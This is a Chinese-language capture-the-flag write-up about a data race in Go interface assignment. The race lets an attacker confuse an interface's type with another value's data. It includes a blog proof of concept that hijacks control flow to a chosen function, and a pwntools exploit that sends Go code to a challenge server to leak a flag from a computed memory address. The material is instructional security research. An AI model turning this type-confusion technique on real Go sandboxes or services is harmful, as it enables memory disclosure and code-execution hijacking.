interface既然可以接收不同的实现了接口方法的接口题变量,那么它一定是一种更为抽象的数据结构,我将其粗略描述为如下:

type Interface struct{
    type **uintptr
    data **uintptr
}

所以在给接口变量传值的过程中实际上发生了两次数据转移操作,一次转移到type,一次转移到data。而这个转移操作并不是原子的。意味着,如果在一个goroutine中频繁对接口变量交替传值,在另一个goroutine中调用该接口的方法,就可能出现下面的情况:

  • (正常)type和data正好都是A或B struct的type和data
  • (异常)type和data分别是A和B struct的type和data,如下:
{
    type --> B type
    data --> A date --> value f
}

而调用接口时是通过判断type来确定方法的具体实现,这就出现了调用B实现的方法来操作A中数据的错误情况。

看博客中的例子就明白了:

package main

import (
    "fmt"
    "os"
    "runtime"
    "strconv"
)

func address(i interface{}) int {
    addr, err := strconv.ParseUint(fmt.Sprintf("%p", i), 0, 0)
    if err != nil {
        panic(err)
    }
    return int(addr)
}

type itf interface {
    X()
}

type safe struct {
    f *int
}

func (s safe) X() {}

type unsafe struct {
    f func()
}

func (u unsafe) X() {
    if u.f != nil {
        u.f()
    }
}

func win() {
    fmt.Println("win", i, j)
    os.Exit(1)
}

var i, j int

func main() {
    if runtime.NumCPU() < 2 {
        fmt.Println("need >= 2 CPUs")
        os.Exit(1)
    }
    var confused, good, bad itf
    pp := address(win)
    good = &safe{f: &pp}
    bad = &unsafe{}
    confused = good
    go func() {
        for {
            confused = bad
            func() {
                if i >= 0 { 
                    return
                }
                fmt.Println(confused)
            }()
            confused = good
            i++
        }
    }()
    for {
        confused.X()
        j++
    }
}

这里暂且不管作者实现的address这个小trick

在main中启动了一个goroutine,其中不断交叉对confused传值,其中badunsafe类型,goodsafe类型。当条件竞争发生,confusedtype指向bad,而data还是good。当原来的routine调用confused中的X方法时就会把good中的*int值当作函数指针来调用。如果控制这个值为我们想要的函数的地址如win,就可以实现程序流劫持。

赛题

题目分析

回到题目本身:

package main

func main() {
        flag := []int64{0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
        for i, v := range flag {
                flag[i] = v + 1
        }
        hack()
}

func hack() {
    /*code*/
}

地址泄露过程:
- 本地构造好EXP框架后,打印出flag首元素地址
- 去掉main中的println语句,然后打印hack中栈变量的地址
- 计算两地址差值作为偏移
- 打印出远程环境中hack栈变量的地址
- 用之前的偏移计算出flag首元素的地址
- 注意:
-- go版本一定要和远程对上
-- 虽然main中的println不影响flag的地址,但是会影响hack中栈变量的地址
-- 实测发现如果不把EXP框架构造好直接打印hack栈变量的地址计算出的偏移是不对的,也许编译期间有一些我不知道的机制在里面。

不做过多演示

接下来问题的关键在于泄露一个已知地址上的值应如何实现。

而golang在不使用unsafe包时不允许把已知的整数值地址,转换为指针进行读写操作。于是需要用条件竞争,来绕过这个限制,从而泄露出我们自定义地址保存的的值。

EXP:

from pwn import *
import time

code_base = '''
func hack(){
    println("exp start...")
    a := "123"
    println(&a) 
    var confused, good, bad itf
    pp := 0xc82003ddc0 - 0x8200117d8 + 0x8*{{offset}} 
    good = &safe{f: pp}
    bad = &unsafe{}
    confused = good    
    go func() {
        for {
            confused = bad
            func() {
                if i >= 0 {
                    return
                }
                println(confused)
            }()
            confused = good
            i++
        }
    }()
    for {
        confused.X()
        j++
    }
    println("exp stop...")
}

var i, j int

type safe struct {
    f int
}

type unsafe struct {
    f *int
}

type itf interface {
    X()
}

func (s safe) X() {}

func (u unsafe) X() {
    if u.f != nil {
        println("AAAA")
        println(*u.f)
    }
}
#'''

flag = ""

for i in range(45):
    p = remote("123.56.96.75", 30775)
    #context.log_level = "debug"
    p.recvuntil(b"[*] Now give me your code: \n")
    print(str())
    code = code_base.replace('{{offset}}', str(i))
    p.sendline(code)
    p.recvuntil(b"AAAA\n")
    chr_int = int(p.recvuntil(b"\n", drop=True), 10)
    flag += chr(chr_int - 1)
    p.close()
    print(flag)

print("flag:", flag)

单独看其中code_base部分

func hack(){
    println("exp start...")
    a := "123"
    println(&a) //用于地址泄露
    var confused, good, bad itf
    pp := 0xc82003ddc0 - 0x8200117d8 + 0x8*{{offset}} //远程环境下flag每一个元素的地址
    good = &safe{f: pp}
    bad = &unsafe{}
    confused = good    
    go func() {
        for {
            confused = bad
            func() {
                if i >= 0 {
                    return
                }
                println(confused)
            }()
            confused = good
            i++
        }
    }()
    for {
        confused.X()
        j++
    }
    println("exp stop...")
}

var i, j int

type safe struct {
    f int
}

type unsafe struct {
    f *int
}

type itf interface {
    X()
}

func (s safe) X() {}

func (u unsafe) X() {
    if u.f != nil {
        println("AAAA")
        println(*u.f)
    }
}

其中safe结构中有int类型的f,而unsafe结构中有*int类型的f。并且unsafe实现了接口itfX方法,该方法输出f *int指针保存的值。在条件竞争时,如果confused中type为unsafe,而data为bad中的数据(创建bad的时候f被赋值为flag元素的地址),这时调用confusedX方法就会打印出flag元素地址中的值了。

最后python统一接收处理得出flag。